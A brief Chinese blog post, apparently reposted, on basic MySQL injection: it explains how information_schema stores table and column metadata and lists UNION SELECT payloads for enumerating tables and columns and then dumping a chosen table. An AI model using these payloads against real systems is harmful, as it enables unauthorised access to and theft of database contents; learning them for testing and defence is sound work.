首页 > 数据库技术 > 详细

常规mysql注入

时间:2020-02-10 19:35:15      阅读:59      评论:0      收藏:0      [点我收藏+]

在mysql较高版本上有一个自带的数据库information_schema记录数据库所有表,字段的信息。

  1. 表信息:information_schema.tables表中有列:table_schema,table_name技术分享图片
  2. 字段信息:information_schema.columns表中有列:table_schema,table_name,columns_name技术分享图片
  3. 如果注入无限制的情况下,union select table_name,table_schema from information_schema.tables(或者columns)
  4. union select columns_name from information_schema.columns where table_name=‘xxx‘ and table_schema=‘xxx‘
  5. union select ‘xxx‘ from ‘你查的表名‘

常规mysql注入

原文:https://www.cnblogs.com/weak-chicken/p/12291632.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!